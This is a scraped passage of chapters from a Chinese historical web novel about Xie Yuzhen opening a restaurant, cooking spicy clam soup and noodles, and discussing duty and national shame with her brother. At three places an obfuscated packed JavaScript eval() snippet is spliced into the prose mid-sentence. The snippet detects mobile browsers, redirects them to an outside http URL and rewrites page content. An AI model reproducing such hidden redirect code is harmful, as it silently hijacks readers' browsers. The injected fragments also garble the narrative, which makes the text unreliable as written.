把勺子里浸泡着辣汤汁的米饭伸到嘴边，嘴巴下意识地就滋生口水，两瓣嘴唇分开，饭被送到舌头之上。 味蕾被辣的感觉彻底唤醒，舌尖开始觉得有些疼。 可能是因为辣度远超平日里所能接受的，两人此刻都辣的不想说话，这和姜辣不是一种辣，这个辣更疼一些。 可这种疼却有些让人上瘾，吃了第一口就忍不住想来第二口，恨不得再疼一点才好，豆腐在碗里捣成两半，由于提前用炸过海椒干的油煎过，豆腐的辣味会更重一些，表面还带着一层焦黄的脆皮，咬下一口，便能嚼到相对很嫩的豆腐肉，两者相互辉映，相得益彰。 谢朗格外偏爱豆腐表层的焦皮，上面蒜香和海椒味道是最重的，对他的味蕾造成了最大的刺激，他都是将里面的部分咬着吃掉之后，最后吃那层焦香的皮。谢玉珍则更喜欢一起吃，她觉得这样口感更丰富一些。 然后是敞着门的油蛤，里面的肉炖到夹起来会往下掉的地步，谢玉珍用筷子挟了一个到嘴边，先是嘬干净贝壳里的汤汁，然后将软肉卷到嘴里，最后用贝齿将圆柱状的肉刮下来，整个过程不过几秒钟的时间。 这肉不得不说，是非常好吃的，而且从前很难吃到，带着水产特有的鲜甜，还没有鱼肉多刺的缺点，那圆柱的小肉口感是最好的，口感很“厚”又弹牙。 “女兄，这个太好了。”谢朗停勺投箸，“明天食肆开张，这个能当招牌菜色了，大家肯定很喜欢！” “招牌菜色？”谢玉珍停下筷子擦了擦嘴才说话，“这个东西难得，还是凑巧才买到，未必时时会有大船来我们这边，若是卖的好，也只够这十几日的，最多也就凑个新鲜限时菜色。”她摇了摇头，还是对谢朗解释道。 “女兄说的对。”谢朗想了想还是想通了，兴奋劲儿一下子浇灭了。 谢玉珍挟了一筷子煎豆腐到谢朗碗里，宽慰说道：“这东西稀奇的也就两样，一样是油蛤，一样是海椒，油蛤得看时机有，海椒咱们不多的是？到时候院子里种一些，再留一次种，再到宅子那边种多一些，这东西放在哪个菜色里面不行？都新鲜。何况说你不相信女兄的手艺？” 谢朗摇头：“无论是刺绣，还是厨艺，没有哪个人比得上女兄的。” “那不就行了，你还担心什么。”谢玉珍停下筷箸，温柔地笑，“你现在年纪小，想的做的未必周全，但也不要停止提出意见，君子立身以正，举子立身以文。朗哥儿，你能明白我的意思吗？” “我知道的！”谢朗攥拳，就差四个指头对着天起誓了，“女兄，我会好好读书，做一个对江山社稷有用的人。” “你能这样想我很高兴。”谢玉珍欣慰地说，“祖母曾经教导过我，可以则君而忠，却不可择国而爱。这句话我到现在都印象深刻，现在也教导给你。” “可是，这不是大逆不道吗？”谢朗有些受惊吓，这也未免太惊世骇俗一些。 “大逆不道？”谢玉珍又拾起筷子有些好笑，“孟子也提出过民为贵，君为轻。当年始皇帝驾崩秦二世继位民不聊生，天下揭竿而起之人何其之多？到最后天下落在‘铁打的贵族’手里了？” 小小的饭桌又成了教育孩子的课堂。 “祖母还说过，君王有能耐，良弓利剑就只是武器，君王昏庸，弹带上的石子就会射瞎主人的眼睛。”谢玉珍又说道，“现在的君主治下，国内何其富足，他也可称的上仁善之君。可连我这样血脉自庶民或者流氓的女子都能看出，国朝的头颅上悬挂着锋利的刀剑，它随时会割向大虞的咽喉。”说起时事，她不免忧心忡忡。 “还有燕云十六州，被贼子献给蛮人，这种耻辱，不知何时才可洗刷！”谢玉珍猛地将筷子拍到桌子上，马上又反应过来自己的失态，将米粒一粒一粒拾到碗里。 小小的谢朗早熟，八九分听懂了，只是从前没经过正统的教化，他并没有将国仇理解地很透彻，只知道这是耻辱，不知道这是怎样让人气愤的耻辱。 此时离他临朝拜相，隔着很远很远的距离。 “陛下不能替我们雪耻。”谢朗八九分理解了，说出这样的话来。 “仁君不是明君。”谢玉珍补充解释道，“太过仁慈，就是懦弱！”，她家里往上数至少五代都在洛阳，想起燕云十六州，想起虞朝因此被迫弯折的脊梁，她因此泪流满面。 “心之忧矣，其谁知之？”谢玉珍没有胃口了，嗟叹着流泪，“虞朝如此富贵，难道不能运行更良好的政策吗？虞朝这么广袤，国君不该居安思危吗？” “女兄，你别哭，以后，以后我做官了，一定劝谏陛下！”谢朗掏出手帕递给谢玉珍擦眼泪，信誓旦旦承诺。 “读书好啊。”谢玉珍给谢朗整理衣襟，“祖母生前最恨豪强，因此才嘱咐我择选夫婿只可择小富之家，可我选错人和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780314|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖母没关系。朗哥儿，我给你做饭，你要吃的强壮，去‘吃’吃人的官场，而不是让官场去‘吃’你。” “天色晚了，”谢玉珍催谢朗回去睡觉，她自己熬完明日开张所需要的汤，喂饱呜云才上楼去了。 今夜所讨论的一切话题，都烂在两个人的肚子里，否则便有塌天大祸。 次日一早，已经上好张夫子题字的牌匾被早早挂上了门顶，“堂前燕”三个大字十分的醒目，不同于时下流行的奇谲锋利，张夫子的字看上去十分圆润敦厚，每一笔的藏锋都格外完美，如同一个历经风霜返璞归真的老者一样，只静静地望向看客，时刻会回答看客的问题。 若张夫子有好出身，此刻早已有大家之名。 张夫子一家人是来得最早的，老头儿本人穿着一身新衣裳，胡子也比往常神气，仿佛是为了来给她撑场子的。 事实上的确如此，张娘子紧紧赘在张夫子身后，一看到谢玉珍眼睛就亮了起来，两人的手在寒风中紧紧交握在一起，给彼此传递温度。 “天气凉，夫子，娘子都快进屋吧！”谢玉珍笑着招呼，她这两天脸都笑烂了，不过此刻的笑是真情实意的。 “铺子开张，本来是个好事，怎么不放两挂爆竹？”张夫子两只手放在交叉的袖子里，看向光秃秃的两边屋檐，不由得有些奇怪，“年关将至，提前热闹热闹，也算凑个吉祥意头了。”他像屋内走去，在谢玉珍的带领下上了二楼。 二楼给张夫子一家提前准备了雅间，不过时间不凑巧，现在张二郎还没回来呢。张夫子夫妻只带了张家大郎的几个孩子，和张姐姐的大女儿过来。 包厢内被谢玉珍布置地十分雅致，四处皆是合时宜的花草盆栽，比如门边就排着两盆矮品种茶花，寓意着君子之交淡如水。窗边空花盆又提前埋了野生紫藤萝的种子，这种烂漫的花在虞朝不仅深受士子喜爱，更是嵩县妇人们最爱的饰品花。 街上卖首饰的店里有不少紫藤萝花样的簪子，珍珠排钗底座的银上也会雕刻。 当然，嵩县身为一个绿树成荫的县城，对花草十分博爱，大家也爱菊花，也爱荷花，只要好看有香味儿的，嵩县人没有不爱的。 呜云昨天闹久了，今天才起来，见谢玉珍不在，摇着尾巴（县里别家的贱狗就这么摇啊）咦及其蹩脚的速度向楼上攀爬。 上次它舔了好久才消除那条小贱狗的味道，哼。呜云鼻子一下一下喷着气，这样一来，速度更加慢了。 等它好不容易爬上去，一看见谢玉珍身边这么多人，立马炸了毛。 “呜！”它吼叫声音短促，是警告的意思。 谢玉珍听见声音，看见小家伙，立马过去将小家伙抱了起来，轻柔地抚摸着，呜云才停止低吼。 只是更加狐假虎威起来。 张家的小孩子看见毛茸茸的小动物，心生喜爱，便上前想要抚摸，却险些被呜云咬上手指。 小姑娘吓地立马涌出一泡眼泪。 “囡囡过来！” 26. 食色性也，古人诚不欺君【凉拌笋丝辣捞汤饼…… 张娘子冷了脸，严厉地将哭出鼻涕泡的小女孩叫了过去。 “真是抱歉，张娘子。”谢玉珍混乱中将呜云关进一边的包厢里，疾步走到小女孩身边摸了摸她毛绒绒的脑袋，“摸摸毛，吓不着。” “你抱歉什么。”张娘子把小女孩抱到腿上，“薇姐儿常日里淘气，天不怕地不怕，如今可遇到个不对付的克星，我高兴还来不及，怎会怪你。” 薇姐儿嘴巴翘的能顶个油瓶，撇过脸不看张娘子，姿势别扭，不一会儿脖子便酸了，又转过去了，嘴巴翘更高了。 “好了，回去再教她。”张夫子捋顺胡须，想着女孩儿总归要留些颜面，也不好在别人的地盘教育，未免失礼所以回去还是多给薇姐儿加两篇课业，他愉快地决定了。 “珍娘，你自去忙，不用多关照我们几个。”张娘子说道，今日是堂前燕开张的日子，谢玉珍身为掌柜怎可长时间耽搁在这儿。 “我把朗哥儿叫上来侍奉夫子。”谢玉珍点头，转即又说道，“今日上了新奇的汤菜，夫子和娘子可要尝尝，给珍娘提个意见才好。”她笑着说。 为了方便做菜，谢玉珍上身穿了窄袖的衣裳，张夫子闻言有些好笑，不由得笑出声：“论学问，该我指教你，论做菜？珍娘可为我师矣！年纪轻轻，少说些顽笑。”他畅快笑道。 谢玉珍只抿嘴笑， 后退几步才转身退出去，将包厢门掩上。 从渐渐消失的门缝里看只能看见她黑漆漆的睫毛和玲珑的鼻头，瞳仁被眼皮遮的干净。张娘子皱眉：“珍娘小小年纪，怎的能如此周全谨慎，熨贴细致。” 张夫子闻言只叹息：“知礼而后知耻，这是她的好处，谢家祖母教的好。”只是年纪还小便老成了，不是不好，只是有些可怜。这孩子小时候是最顽皮的，如今和幼时已判若两人了。 珍娘小时候还把他胡子拽掉过两根呢，张夫子想起来咧了咧嘴，有些幻痛。 叩叩—— 一扇门被打开，谢朗的脑袋小心翼翼地漏了出来。 “进来！”张夫子本来有些感伤，一看这孩子便气得吹胡子瞪眼，“学堂里教过多少回，大大方方的！你这扒门缝的样子哪里像君子！” 谢朗一步一步挪到张夫子身边，小声嘟囔：“我现在是小人，不是君子。” “你说什么？”张夫子恰恰这时有些耳背，没听清，问道。 “没什么没什么！”谢朗连忙摆手，“朗儿错了，夫子罚朗儿！” 张夫子见孩子认错飞快，不由欣慰，拍了拍他旁边的位子：“哈哈哈哈，那就罚你今天多吃一碗汤！” 某种概念上，张夫子才是最娇惯孩子的。 “可是女兄让我侍奉夫子和娘子。”谢朗犹豫。 “诶，我是珍娘长辈，珍娘最听谁的？”张夫子逗趣道。 “女兄最听夫子和娘子的！”谢朗答应道。 “珍娘听我们的，你听珍娘的，那你听不听我的？”张夫子又问。 “我听夫子的！”谢朗被说服，一屁股坐在张夫子一边的位置。 张娘子憋笑，神色古怪，憋半天噗嗤一笑：“老了还如此促狭！” 此间欢乐，外间也更热闹。 来得最早的都是之前的老客和附近的闲人。谢玉珍在外间招呼着，人比她想象的要多，她便直接聘了上牌匾的工人当跑堂。 “恭喜谢掌柜！”之前买酱骨头给妻女的男人满脸笑容地带着好几个兄弟进来，谢玉珍打眼一看，竟都是熟面孔，里面夹着几个生人。他拱手笑，漏出一口黄牙。 “同喜同喜！”谢玉珍也笑，“多谢诸位照顾我生意了！都请入座！”她侧手邀请。 这些掮客选在最外面的位置，这也和谢玉珍预想的相同。 “茶博士！”谢玉珍喊，“有人来了就上些热水，我后厨去，前面你们可看好了，有人闹事到后面通知我知道吗？”她走远些才叮嘱道。两个男人连连点头，将掌柜的话记在心里。 谢玉珍不再多说，径直往后厨去了，今天的主打菜是油蛤辣汤，油蛤都已经烫好放到一边了。 “客官吃些什么？”茶博士凑到客人桌前问道，“您的水。” “我们还要做活儿，上些快的、口重些的就可以。”那男人说道，他倒了一杯热水，吹散一层热气喝一口。 茶博士有些为难：“没有具体的菜名？” 男人们白了他一眼：“你自去告诉给掌柜，她自然有菜色出来。” 茶博士只好到后厨去传话。 谢玉珍思考几秒钟便知道——是它了。 她看向一边还带着泥土的笋：“你把笋剥了再前去，我心里有数了。” 凉拌笋丝，有了辣味极重的海椒，凉拌笋丝的鲜味能最快激发出来。现在马上到冬天了，秋笋已经有些老了，不再适合炖汤或者清炒。 谢玉珍早就将海椒等配料切好放到一边备用了，她先到一边把煮开口的油蛤都捞出来。今天买的是几板嫩豆腐，将油蛤转移到另一边直接把豆腐在手上切到锅里就行，不用另外煎，嫩豆腐颤巍巍的，不好掌握火候，一煎就容易糊，而且口感方面也是不煎比煎好。 把油蛤盖盖焖煮期间，茶博士已经把笋子都剥好放盆里了。 谢玉珍将大些的笋子切成细长条，小些的笋子还不老，直接用手撕就好了，过程很快，谢玉珍端起慢慢一盆笋丝，放进一边水还没烧开的锅里，这个是她个人的习惯，一般人烫笋丝都是水开再放，她是在水烧热还没开之前就放，这样很不容易出错，水开就捞出来，嫩的刚刚好。 等水开的时间也不能闲着，她切下来一块猪肥肉，放进小锅里煎油，猪肉变成猪油渣的过程十分治愈，但要小心别被油溅到身上了。 把猪油渣捞起来放些胡椒粉，她吹了吹直接塞进自己嘴里了，油脂在嘴里爆发，连带着煸干油猪肉的焦香，人本能地感到满足。 她捡了些海椒和蒜末直接一碗倒进锅里炸香，油是黄色的，炸蒜末出来的热油泡却是密密麻麻的白，这很有趣。 炸好之后趁热一锅铲一锅铲从高处淋到笋丝上，一时间香味更冲了，比辣味儿还冲，让人闻着咽口水。 她迅速用筷子将笋丝拌开，放了半食瓢酱油后撒了些盐继续拌，趁着热盐才能融化，因为酱油本身有些咸味儿，所以盐不必放太多。 然后就是下汤饼了，骨头汤昨晚就炖上了，现在已经有颜色了，她把汤饼下到汤桶里，烫熟了才捞起来。 分到几碗中，每碗把笋丝盖到上面，让他们自己拌。 “茶博士！”谢玉珍喊。等人来了，她才说道，“把这几碗端给前面的客人。” “好咧掌柜！”茶博士应道，端着面碗出去了。 虞朝士子那里一直有笋子和肉一起烹饪，便如同君子与小人同居一室，没有气节，不甚妙哉。 但食物本该由厨子和食客去评价论调，笋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780315|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子和肉一起烹饪，分明是世间极美之佳肴。 几个掮客在桌案边谈笑风生，左不过谈自己的孩子和最近的行情，辛辣的味道几尺开外便不见外地挤进他们的鼻子里，几个男人耸动了几下鼻翼，又被对面的兄弟看见，都尴尬地笑出来。 “客官，您的凉拌笋丝捞汤饼好了！”茶博士将冒着尖的碗一一放到几个人面前，殷勤地招呼着，“客官是否要添壶水？” 几人摆手咀嚼了，茶博士便走开了，这时男人不由得松了一口气：“开吃吧，刚才被别人看着我还怪不好意思的哈哈哈。” 他率先拿起筷筒里的筷子，在桌子沿敲了几下，这是他的小习惯，一般是为了敲灰。谢玉珍用的筷子是那种最普通的深色木筷，她是并未打算在餐具上花费什么巧思的，金筷子银筷子，不都是筷子吗。 筷子尖尖的末端先插进汤饼中，这一下的推挤，可以听到黏糊糊的声音，很是解压，而后筷子尖挑动最里面的汤饼，中原的人从垂髫之年到耄耋古稀，无一不是使筷子的好手，他力道收的好，上面的笋丝被下面的汤饼顶地高高的，却还没掉出碗外，准确说，还没等掉出碗外就被筷子上的汤饼压到下一层去了。 汤饼搅动的过程，热气化成白花花的雾飘散到面门，辣味被汤饼冲淡削弱，人的四肢七窍都活泛了，脸颊开始回温发热，碗里的颜色均匀了，汤饼就到适口的温度了。 男人见识过谢玉珍的厨艺，没有丝毫怀疑地夹起一大筷子汤饼吸溜到嘴里，他眼睛登时瞪大，脸颊的红晕一下子冲到脖子上——太辣了！ 他连忙倒了一杯热水送进嘴里，不过热水一接触舌尖，就是刺痛，这比芥菜疙瘩、老姜什么的辣完全不一样，是一种更直接的辣，是西域肚皮舞和中原掌上舞的区别！ “茶博士！”他喊道，“来壶凉水！” 谢玉珍将烧开后晾凉的水灌进茶壶里，递给茶博士，幸好早有准备，想起她的食客狼狈要水的样子，她都窃笑了一会儿。 为什么不一早就上凉水呢？嗯，这可说不太清楚了。 几个男人一杯凉水下肚才感觉活了过来。 “真带劲儿。”另一个男人匝巴着嘴回过味儿来，辣劲儿过去嘴里只留下笋子的脆、嫩、鲜，还有淡淡的肉味儿，油水也足，他们这群人口重都能满意。笋子丝里面有嫩的也有老的，吃起来就像养不知道种类的花一样，花长成才知道哪个是哪个，很有趣。 回过劲儿来他们又开始想念那个辣了，辣味是很让中原人上瘾的味道，他们便又开始大口吃了起来，几个人吃完皆出了一脑门儿薄汗，神清气爽地结账了。 “一碗七文钱，老哥哥们是单独付账还是一起？”茶博士甩着汗巾走过来，问道。 “一起吧。”为首的男人掏出对应的钱数放到桌案上，他们这行一般都是请来请去的，没有单独付账的说法，若有谁不让谁请客了，那其他人便会觉得那人不够有人情味儿，太排外，下次就不带他了。 “老哥，这次得亏你带我来，你还真没诓我。”一个脸生之前没光顾过谢玉珍生意的男人还回味着那碗汤饼的味道，“这牙祭打的，值！就是不知道我下次还吃不吃得惯主家的饭了，唉。”他竖起的拇指又垂头丧气地掉下来。 男人安慰地拍他肩膀：“好好干，以后有些身家了，还愁吃不到谢掌柜的菜？” 于是一行人重新打起精神朝着生活出发也。 食色性也，古人诚不欺君。 27. 清粥小菜最解腻 临近中午的时候，船队的一行人和李香君一行人恰巧在堂前燕门口打了个照面，俗话说得好，民不与官斗，虽然说捕快也不算什么官，但秦叔还是拱手豪迈一笑，领着一行人让道。 李香君也未太过谦逊，他们职责原因，本就不该是什么善解人意、孔融让梨的形象，何况说这也不算什么利益，更不消放在心上了。他依样子拱手善意一笑，几个人就这样默契地一前一后进去了。 在大堂忙碌的茶博士见有官差进来了，心里不由得升起一股子惧意，但还是壮着胆子上前询问：“几位官爷是坐大堂还是楼上雅间啊？” 李香君察觉到周围渐渐小的音量，心中不由得有些后悔，再急也该换身衣裳，不该穿官服来，他有些懊恼地轻咬了一下颊袋处的软肉，吩咐道：“楼上给我们几个开个雅间吧。”一行人在店小二的带领下走上楼梯，脚下的木板吱呀声被人声盖住，几乎听不见。 有条不紊地将客人要的饭菜装好盘，谢玉珍终于忙里偷闲松了一口气，茶博士就冲进来说官府的一群捕快来要了包间。 “我知道了，你先上菜，楼上的客人我去看顾。”谢玉珍把在水里泡得发皱冻红的手擦干，将擦手的布甩到桌子上说道，她心下想着正式找茶博士的时候，还是得练一下他们的胆子，无论谁进来吃饭，不都是食客吗。 谢玉珍提起一尖嘴宽壶，上得楼去，先是给张夫子桌席的茶壶添了一壶热水，才将给了谢朗一个眼神，把他叫出来帮忙。 晚秋的太阳很高，从各处渗进楼中，影影绰绰的光影打在谢玉珍身上，仿佛工笔淑女图上瘦削的淑女一般尽态极妍。 她的身子早就养好了，脸颊上被灶火烤出的嫣红色彩并未完全褪去，像糕饼上点睛的红。她打开门的一瞬间，上半张脸还埋在阴影里，一束光打在下半张脸，特别是鼻尖上，李香君一时有些看痴了。 “头儿！”沈二杵了几下李香君的手肘，小声说，李香君回过神来站起身上前接过水壶，谢玉珍推拒过几回合没拗过，便随他了。 “郎君们吃什么？”李香君手上的水壶又被谢朗抢过去，小孩颇有敌意地看向他，还装作若无其事的样子，谢玉珍等谢朗把水壶的水添满，问道，“店里的新菜油蛤辣汤不错，郎君们可要尝尝？”油蛤辣汤卖的还可以，她便试探性地开口推荐道。 几人交换过眼神，李香君点头道：“我们人多，来两份吧，另外各要一碗粥，并几叠小菜。” “谢掌柜，你这茶博士该换。”沈二把玩着茶盏说道，“我们还好说，畏畏缩缩的样子，可别得罪了贵人。” “我晓得。”谢玉珍行礼，低眉垂首地应答。 二人出去后，沈二才揶揄开口：“大哥，这话你自己怎么不说？还要我代口，你胆子什么时候这么小了，打山匪的时候没见你让我几脚啊？” 李香君不语，只一味的脸红。 幸而上菜的茶博士拯救了他，他不由得对茶博士的眼神带着几分诡异的感激，引得对方起了一身的鸡皮疙瘩。 “这是客官们的小菜。”茶博士把六碟小菜一一摆在圆桌上，分别是酸水萝卜片、芥菜炒雪菜、凉拌豆芽和一碟酵豆子。酸水萝卜从坛子里捞出来切片浇些糖水，芥菜炒雪菜是大火热油炒出来的，还冒着热气，凉拌豆芽用的豆芽很新鲜，看着就能想象到吃进嘴里爆汁的瞬间。发酵过的豆子闻着有些酸，不过发酵到在手上轻轻捻一下就能成泥，很适口开胃的一种小菜。 再过半柱香时间，油蛤辣汤被送上来摆到桌上，两碗汤还冒着热气，有圆润削薄的贝壳裹着汤汁漏在空气中，汤盆刚被放平，里面的嫩豆腐还在上下起伏，看着很是喜人。 汤碗是较小的瓷碗，一人一碗喝得热气腾腾地冒汗。嫩豆腐在嘴里一含就碎，碎了之后融化在唾液中，带出微微的甜，降低了辣味给口腔带来的刺激。 油蛤全部都开了口，因为是提前煮过的，再在辣汤里炖煮，贝肉便浸润了辣气，又嫩又香，一点腥味都没有。 不一会儿几碗粥就送上来了，几人在之前便已经喝过辣汤，味蕾被刺激，正是感觉到饿的时候，粥煮地恰合其分，不稀不稠。 每个米粒被炖煮到开花，分泌出浓浓的米浆混进煮粥的清水里，闻着一股清香。 这时候再挟一口萝卜片和着粥一起送进嘴里，酸味先是顶到舌头上，又被粥水镇压，再是粥的香和汁水的甜，立马神清气爽，觉得又能干两大碗米粥了。 还有口重的，拿油蛤的汤拌粥水，一股脑灌进肚子里去，然后一擦嘴就表示吃饱了。 “真好吃啊头儿。”一个捕快意犹未尽，开口道，“谢掌柜的手艺，以后可不愁发财啊。” 酒足饭饱，众人碗一推，又要当值去了。 李香君望了一眼窗子边的花盆上的云纹，一缕心思忍不住泛起。 “郎君慢走！”谢玉珍见几人出门，开口招应说。 到午饭之后，谢玉珍便闲了下来，心思不由得活泛，她买的油蛤并不多，也不算最新鲜的，但也很受欢迎，只够卖半个月的，这个菜也只能当做一个限时的菜，如果能和商队结成合作，每年都卖一次，岂不是一个很好的噱头？ 纵然到时候可能其他食肆回过味儿来，也将抢这门生意，但那也没关系，大部分食客都是更愿意到熟悉信任的食肆就餐，他们比不过她，那些蝇头小利，让出去又能如何。 这样想着，食肆下匙前她写了一封信，让附近的闲汉送到商人落脚的客栈处。 不多时那边便有回信过来，谢玉珍连忙在桌前拆开信封，一目十行看完，秦叔先是豪爽地同意了合作的想法，而后又提到油蛤辣汤的美味，以及委婉提到油蛤等真正达成长期合作的价格问题，最后告诉谢玉珍涨价的原因，希望不要有怨怼，很高兴能和谢玉珍这样的厨子达成合作。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780316|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢玉珍放下心来，价格问题她早就想好，油蛤未来不可能一文钱一斤，她心里十分清楚。这次本就是捡便宜了，怎可再得寸进尺，何况油蛤辣汤的名气若出去了，后面不止有一个商队会往这边带油蛤，也不止一个店铺会购买油蛤，她早已做好心理准备。 她提笔，先是赞扬了秦叔的粗中有细，而后表示理解秦叔的做法，价格必然上涨她心里清楚，最后祝愿秦叔等人在水上行商一路平安，明年还能再见。 吹干纸上的墨迹，她将信纸塞进信封里，用蜡油封好，交由门外等着的闲汉。 做完这些，她才放心地下匙，看着后厨的脏碗，她驻足几秒便无奈地上前清洗，谢朗刚擦好桌子，回到后院见谢玉珍在洗碗，连忙拦住：“女兄，这些事情我做就好，你忙了一天，快去歇歇！”他一脸不赞同地看着谢玉珍，仿佛谢玉珍做了什么很难说的事情一般。 “何等的恶婆子才会让一个不足十岁的孩子一个人在冷水里洗这些碗？”谢玉珍手没停，还有心情开玩笑，“当然，你愿意干些活儿我可是巴不得。” 谢朗不语，只是一味地挽袖子洗碗，两人洗完碗后谢朗又拿起笤帚扫地，谢玉珍开口想组织，被横了一眼，推进房间休息了。 谢玉珍无奈，这可真是甜蜜的烦恼了。 她取下发簪，解开自己的发绳散开辫子，从桌台上拿起篦子一下一下篦着头发，把头发都整理干净了，她才重新扎了一个三股辫别在胸前，从墙角的高柜拿出三柱黄香，插在一个牌位前，小声念起了咒文。 惟愿上辈子的黑咪能早登极乐，不要当猫了，当人吧，当人再苦，也没有任人宰割的畜生苦。 次日，两位茶博士早早等在门口，谢玉珍开门的时候吓了一大跳。 “昨日的工钱已结清了，天还未亮怎么等在门口？”谢玉珍问，光线不好，两个大汉如门神般站在两边，当真是吓他一大跳，还以为大早上撞了鬼。 “掌柜的，我们俩是想着，您找帮工还要些时间，这段时间，能不能先用我们俩？”男人小心翼翼地说道，“掌柜一找好，我们俩立马就走，绝不啰嗦半句。” 谢玉珍倒是知道一点这两人的事，说话的男人，他父亲前些时候做工摔断了双腿，家里一下子少了一样收入，老母亲本来身体也不好，做不好照顾的职责，新婚妻子能干是能干，一下子也照顾不了两个人，他只好腆着脸过来找她了。 另外一个沉默的男人，家里倒是没出什么事，但是自己得了喘疾，再做不得太过劳累的事情，也只好跟着那男人过来找她了。 都是可怜人。 谢玉珍叹了一口气，说道：“你们进来收拾桌椅，先说好，在食肆内迎来送往，不要太过惊慌，更不要前倨后恭、前恭后倨。若被我发现，立马结清工钱走人，可记得了？” “我们晓得。我们晓得！”两个男人弯着腰笑，重复着这句话。 28. 谢家的蠢货 临近年关的时候，谢玉珍将堂前燕大门锁上不再接待客人了。一则过年时候人都团圆了，基本不怎么会到外面吃饭，堂前燕迎不了多少客人；二则现在天气冻得人受不了，烧热水洗碗筷未免太过奢侈，不若来年开张前请个洗碗的大娘。 三则她也要回家里去休息一段时间，这两个月油蛤早已卖完了，也空下来时间让食客习惯一下。 谢玉珍掂量沉甸甸的铜钱箱子，脸上露出笑容来，她将钱箱放到木车上，将跑远的呜云唤回来，呜云脖子上挂着用彩线编成的粗链，胸前挂着一块特别大的鱼石，神气的很。这块鱼石还是前几天做鱼片锅子的时候从一只六七斤重的青鱼身子里掏出来的，磨光滑之后就给呜云挂着保平安。 呜云长得快，不过月余功夫，已经快有谢玉珍小腿高了，只是格外地圆滚，除非熟练的猎人，任谁也看不出来这是一只货真价实的灰狼。 家里还有熏好的熏肉，她得回去将其好好“利用”起来，蒜苗炒熏肉、花生熏肉砂锅稻饭还有熏肉臊子。想想幸福感就油然而生。 往年总是想着攒钱攒钱，从来没过过一次富足的年，现在却不想了，钱是赚出来的，不是攒出来的。 更何况在什么上面省钱不行，要在吃喝上省？ 民以食为天。 回家的路上迎面碰上了卖肉的杀猪匠的娘子，两人早已经熟悉了，见面便打起招呼。 “谢掌柜妆安。”杀猪匠娘子笑起来眼角有三条细纹，给她平添了几分和煦的气质，“谢掌柜这是要回去过节了吗？” “何娘子妆安。”谢玉珍笑，“几日不见，何娘子气色更胜以前了。年关将至，我家在书塾的弟弟也要回家了，到时候还要祭拜祖母亲人，索性便将堂前燕关几日。省的来回麻烦。” “这样也好。”何娘子点头，“年节正是杀年猪的时候，我家那个冤家到时肯定忙，到时候若有什么也不好看顾，我家那位便差我遇见你便问一句，年节时可要为谢掌柜留块前腿好肉？” 杀猪匠往往能最快买到猪肉，何况是自家的猪，所以不妨卖老主顾一个好。 “谢何娘子惦念，你便是不说我也是要说的。”谢玉珍想起来，开口说道，“前腿肉能留便留，若有价格更高的，卖给别人也无妨，不是虚话，只是得给我留个猪头祭奠祖先。” 猪头可不值钱，都是那些穷苦的单身粗人爱买，只是说祭奠祖先，何娘子便明白了。她眼神中表露出怜爱，二话不说答应下来。 “那我便走了，谢掌柜路上注意安全。”何娘子作别。 “慢走。”呜云已经有些不耐烦了，用脑袋一直拱谢玉珍的腿弯，发出呜呜的声音，“知道了知道了，怎的如此性急，也不知是像谁。” 她轻轻用脚把呜云推开。 谢玉珍将推车放到一边，拿出钥匙正准备开门，却听到屋内传来细微的声响。 她凑到门边，凝神仔细听，貌似有两道不同的男声，隔得远了些，说的话只听得见只字片语，只能听到宗族、小娘皮等字眼。 抱起呜云，谢玉珍捏住呜云的嘴套，脚步轻轻地退下去，转而去隔壁敲了张娘子的门。 “珍娘回来了？”张娘子笑盈盈地，正想把谢玉珍拉到门里去，却见她神色不太对，问道，“这是怎么了？眉头都蹙一起了。” “我屋子里有男人，不止一个。”谢玉珍再沉静沉稳在长辈面前也不过是一个刚及笄没两年的小姑娘，在张娘子眼里，珍娘的脸色都煞白地像洁白的雪花了，“只听见‘宗族’这个词眼，只怕是谢家哪个落魄了的旁支，本不该惊扰娘子，只是我一弱女子体魄终究不比两三男子，便也只好惊扰娘子，娘子见谅。” 谢玉珍行了一礼。 “好姑娘，”张娘子松了一口气的样子，“这算什么麻烦事？你来这里，算是顶聪明的做法，且不说贞洁舆言，只一点，君子不立危墙之下，你学好这句，便可受益终身了。” 张娘子唤上后院练剑的张大郎，拿起门边碗口粗的大棍就雄赳赳气昂昂地走在前头。 谢玉珍愣了一瞬，连忙跟了上去，张大郎和他妻子跟在一边，大郎娘子手上也拿着一把菜刀，小声对谢玉珍说道：“婆母以前是屠户出身，年轻时候大棍舞的虎虎生风，现在已经不比当年了。谢家妹妹，你且看着，那些男人可要没脸面了。” 大郎娘子是张娘子在娘家那边精挑细选的儿媳，是张大郎的表妹，两人青梅竹马，感情甚笃。 谢玉珍若有所思地点头，上前轻轻打开了锁。 